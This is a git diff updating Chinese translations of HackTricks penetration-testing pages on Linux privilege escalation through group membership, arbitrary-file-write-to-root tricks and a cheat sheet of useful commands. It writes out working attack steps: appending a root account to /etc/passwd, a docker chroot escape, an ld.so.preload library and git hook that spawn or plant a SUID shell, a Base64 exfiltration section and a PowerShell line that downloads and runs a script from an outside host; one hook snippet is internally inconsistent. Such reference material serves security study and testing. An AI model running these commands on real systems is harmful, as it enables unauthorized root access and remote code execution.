||||
|
@ -78,7 +81,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
|||
```
|
||||
这意味着**任何属于wheel组的用户都可以作为sudo执行任何操作**。
|
||||
|
||||
如果是这种情况,要**成为root用户,只需执行**:
|
||||
如果是这种情况,**要成为root用户,只需执行**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
|
@ -90,9 +93,9 @@ sudo su
|
|||
```
|
||||
所以,阅读文件并尝试**破解一些哈希值**。
|
||||
|
||||
## Staff 组
|
||||
## 员工组
|
||||
|
||||
**staff**:允许用户在不需要 root 权限的情况下向系统 (`/usr/local`) 添加本地修改(请注意,`/usr/local/bin` 中的可执行文件在任何用户的 PATH 变量中,它们可能会“覆盖”具有相同名称的 `/bin` 和 `/usr/bin` 中的可执行文件)。与与监控/安全性更相关的组“adm”进行比较。[来源](https://wiki.debian.org/SystemGroups)
|
||||
**staff**:允许用户在不需要 root 权限的情况下向系统 (`/usr/local`) 添加本地修改(请注意,`/usr/local/bin` 中的可执行文件在任何用户的 PATH 变量中,它们可能会“覆盖”具有相同名称的 `/bin` 和 `/usr/bin` 中的可执行文件)。与与监控/安全性更相关的组“adm”进行比较。 [\[来源\]](https://wiki.debian.org/SystemGroups)
|
||||
|
||||
在 Debian 发行版中,`$PATH` 变量显示 `/usr/local/` 将作为最高优先级运行,无论您是特权用户还是非特权用户。
|
||||
```bash
|
||||
|
@ -102,11 +105,9 @@ $ echo $PATH
|
|||
# echo $PATH
|
||||
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
```
|
||||
### 有趣的 Linux 特权提升组
|
||||
如果我们能劫持`/usr/local`目录中的一些程序,就很容易获取root权限。
|
||||
|
||||
如果我们能劫持 `/usr/local` 目录中的一些程序,就很容易获取 root 权限。
|
||||
|
||||
劫持 `run-parts` 程序是一种轻松获取 root 权限的方法,因为大多数程序都会运行类似 `run-parts` 的程序(比如 crontab,在 SSH 登录时)。
|
||||
劫持`run-parts`程序是一种轻松获取root权限的方法,因为大多数程序都会运行类似`run-parts`的程序(比如crontab,在ssh登录时)。
|
||||
```bash
|
||||
$ cat /etc/crontab | grep run-parts
|
||||
17 * * * * root cd / && run-parts --report /etc/cron.hourly
|
||||
|
@ -174,26 +175,26 @@ USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
|||
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
|
||||
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
**tty1** 表示用户 **yossi 物理登录** 到机器上的终端。
|
||||
**tty1** 表示用户 **yossi 是物理登录** 到机器上的终端。
|
||||
|
||||
**video 组** 具有查看屏幕输出的权限。基本上你可以观察屏幕。为了做到这一点,你需要以原始数据的形式 **抓取屏幕上的当前图像** 并获取屏幕正在使用的分辨率。屏幕数据可以保存在 `/dev/fb0` 中,你可以在 `/sys/class/graphics/fb0/virtual_size` 中找到这个屏幕的分辨率。
|
||||
**video 组** 具有查看屏幕输出的权限。基本上,您可以观察屏幕。为了做到这一点,您需要以原始数据的形式 **抓取屏幕上的当前图像** 并获取屏幕正在使用的分辨率。屏幕数据可以保存在 `/dev/fb0` 中,您可以在 `/sys/class/graphics/fb0/virtual_size` 中找到此屏幕的分辨率。
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
```
|
||||
要**打开**原始图像,您可以使用**GIMP**,选择\*\*`screen.raw` \*\*文件,并选择文件类型为**原始图像数据**:
|
||||
**打开**原始图像,您可以使用**GIMP**,选择\*\*`screen.raw` \*\*文件,并选择文件类型为**原始图像数据**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (463).png>)
|
||||
|
||||
然后修改宽度和高度为屏幕上使用的值,并检查不同的图像类型(选择显示屏幕效果更好的类型):
|
||||
然后修改宽度和高度为屏幕上使用的值,并检查不同的图像类型(选择显示屏幕效果最好的那种):
|
||||
|
||||
![](<../../../.gitbook/assets/image (317).png>)
|
||||
|
||||
## Root组
|
||||
## Root 组
|
||||
|
||||
看起来默认情况下**root组的成员**可能可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些可能被用来提升权限...
|
||||
看起来默认情况下**root 组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**,这些可能被用于提升权限...
|
||||
|
||||
**检查root成员可以修改哪些文件**:
|
||||
**检查 root 成员可以修改哪些文件**:
|
||||
```bash
|
||||
find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
|
@ -211,44 +212,26 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
|
|||
#Ifyou just want filesystem and network access you can startthe following container:
|
||||
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
|
||||
```
|
||||
最后,如果您不喜欢之前的任何建议,或者由于某种原因(比如docker api防火墙?),您可以尝试**运行一个特权容器并从中逃逸**,如下所述:
|
||||
## lxc/lxd 组
|
||||
|
||||
如果您不喜欢之前的任何建议,或者由于某种原因(比如 docker api 防火墙?),您可以尝试**运行一个特权容器并从中逃逸**,如下所述:
|
||||
|
||||
{% content-ref url="../docker-security/" %}
|
||||
[docker-security](../docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
如果您对docker套接字具有写权限,请阅读关于如何滥用docker套接字提升权限的[**这篇文章**](../#writable-docker-socket)**。**
|
||||
如果您对 docker 套接字具有写权限,请阅读关于如何滥用 docker 套接字提升权限的[**这篇文章**](../#writable-docker-socket)**。**
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
|
||||
## lxc/lxd 组
|
||||
|
||||
{% content-ref url="./" %}
|
||||
[.](./)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Adm 组
|
||||
|
||||
通常,**`adm`**组的**成员**具有读取位于 _/var/log/_ 中的日志文件的权限。\
|
||||
因此,如果您已经入侵了该组中的用户,您应该绝对查看一下**日志**。
|
||||
通常,**`adm`** 组的**成员**具有**读取**位于 _/var/log/_ 中的日志文件的权限。\
|
||||
因此,如果您已经入侵了此组中的用户,您应该绝对**查看日志**。
|
||||
|
||||
## Auth 组
|
||||
|
||||
在OpenBSD中,**auth**组通常可以写入 _**/etc/skey**_ 和 _**/var/db/yubikey**_ 文件夹(如果使用)。\
|
||||
可以利用以下漏洞滥用这些权限以将权限**升级为root**:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
在 OpenBSD 中,**auth** 组通常可以写入 _**/etc/skey**_ 和 _**/var/db/yubikey**_ 文件夹(如果使用)。\
|
||||
可以使用以下漏洞利用来滥用这些权限以将权限**升级**为 root:[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
# 任意文件写入到根目录
|
||||
# 提权至Root的任意文件写入
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### /etc/ld.so.preload
|
||||
|
||||
这个文件的行为类似于**`LD_PRELOAD`**环境变量,但它也适用于**SUID二进制文件**。\
|
||||
如果您可以创建或修改它,只需添加一个**将随每个执行的二进制文件一起加载的库的路径**。
|
||||
该文件类似于 **`LD_PRELOAD`** 环境变量,但也适用于 **SUID 二进制文件**。\
|
||||
如果你可以创建或修改它,只需添加一个**将与每个执行的二进制文件一起加载的库的路径**。
|
||||
|
||||
例如:`echo "/tmp/pe.so" > /etc/ld.so.preload`
|
||||
```c
|
||||
|
@ -36,9 +37,9 @@ system("/bin/bash");
|
|||
```
|
||||
### Git hooks
|
||||
|
||||
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)是在git存储库中的各种事件(例如创建提交,合并等)上运行的**脚本**。因此,如果一个**特权脚本或用户**频繁执行这些操作并且可以**写入`.git`文件夹**,这可能被用于**提权**。
|
||||
[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks)是在git存储库中的各种事件上运行的**脚本**,比如创建提交、合并等。因此,如果一个**特权脚本或用户**频繁执行这些操作并且可以**写入`.git`文件夹**,这可能被用于**提权**。
|
||||
|
||||
例如,可以在git存储库的**`.git/hooks`**中生成一个脚本,以便在创建新提交时始终执行:
|
||||
例如,可以在git存储库的**`.git/hooks`**中生成一个脚本,这样在创建新提交时它总是被执行:
|
||||
```bash
|
||||
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
|
||||
chmod +x pre-commit
|
||||
|
@ -51,6 +52,21 @@ chmod +x pre-commit
|
|||
|
||||
待办事项
|
||||
|
||||
### binfmt_misc
|
||||
### binfmt\_misc
|
||||
|
||||
位于`/proc/sys/fs/binfmt_misc`的文件指示哪个二进制文件应该执行哪种类型的文件。待办事项:检查滥用此功能以在打开常见文件类型时执行反向shell的要求。
|
||||
位于`/proc/sys/fs/binfmt_misc`的文件指示应该执行哪种类型的文件。待办事项:检查滥用此功能以在打开常见文件类型时执行反向shell的要求。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -8,21 +8,22 @@
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 常见的Bash
|
||||
## 常见Bash
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
@ -144,7 +145,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 来轻松构建并通过全球**最先进**的社区工具**自动化工作流程**。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 来轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -171,44 +172,20 @@ i686-mingw32msvc-gcc -o executable useradd.c
|
|||
```
|
||||
## Greps
|
||||
|
||||
### Grep
|
||||
|
||||
Grep is a powerful command-line tool that allows you to search for specific patterns within files or command output. It is commonly used to filter and find specific information within text.
|
||||
|
||||
### Basic Usage
|
||||
|
||||
The basic syntax for using `grep` is as follows:
|
||||
|
||||
### Grep for a string in files
|
||||
```bash
|
||||
grep [options] pattern [file...]
|
||||
grep "string" file
|
||||
```
|
||||
|
||||
- `[options]`: Various options that modify the behavior of `grep`.
|
||||
- `pattern`: The pattern you are searching for.
|
||||
- `[file...]`: Optional parameter specifying the file(s) to search in. If not provided, `grep` will use standard input.
|
||||
|
||||
### Example
|
||||
|
||||
Search for the word "error" in a file named `logfile.txt`:
|
||||
|
||||
### Grep for a string in files (case insensitive)
|
||||
```bash
|
||||
grep error logfile.txt
|
||||
grep -i "string" file
|
||||
```
|
||||
|
||||
This will display all lines in `logfile.txt` that contain the word "error".
|
||||
|
||||
### Useful Options
|
||||
|
||||
- `-i`: Perform case-insensitive matching.
|
||||
- `-r`: Recursively search subdirectories.
|
||||
- `-n`: Display line numbers along with the search results.
|
||||
- `-v`: Invert the match to select non-matching lines.
|
||||
- `-E`: Interpret the pattern as an extended regular expression.
|
||||
- `-w`: Match whole words only.
|
||||
- `-c`: Display only the count of matching lines.
|
||||
- `-A`: Display lines after the matched line.
|
||||
- `-B`: Display lines before the matched line.
|
||||
- `-C`: Display lines before and after the matched line.
|
||||
### Grep for a string in all files in a directory
|
||||
```bash
|
||||
grep -r "string" /path/to/directory
|
||||
```
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
@ -326,7 +303,7 @@ nmap --script-help "(default or version) and smb)"
|
|||
```
|
||||
## Bash
|
||||
|
||||
## Bash
|
||||
Bash是一个流行的Linux shell,以下是一些有用的Bash命令:
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
|
@ -364,24 +341,25 @@ iptables -P INPUT DROP
|
|||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
|
||||
立即获取访问权限:
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -8,21 +8,22 @@
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 常见的Bash
|
||||
## 常见Bash
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
@ -144,12 +145,12 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可轻松构建和**自动化工作流程**,利用全球**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 适用于Windows的Bash
|
||||
## 适用于 Windows 的 Bash
|
||||
```bash
|
||||
#Base64 for Windows
|
||||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||||
|
@ -296,7 +297,9 @@ for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do ech
|
|||
```
|
||||
## Iptables
|
||||
|
||||
### iptables是一个用于配置IPv4数据包过滤规则的工具。它是Linux系统中最常用的防火墙工具之一。iptables命令允许你配置防火墙规则,控制数据包的流动,从而增强系统的安全性。iptables命令非常强大且灵活,可以根据需要配置各种规则来保护系统免受网络攻击。
|
||||
### 简介
|
||||
|
||||
Iptables 是一个 Linux 内核防火墙工具,用于配置 IPv4 和 IPv6 数据包过滤规则以及网络地址转换。iptables 工具允许系统管理员控制网络流量,提高系统的安全性。
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
|
@ -327,24 +330,25 @@ iptables -P INPUT DROP
|
|||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
|
||||
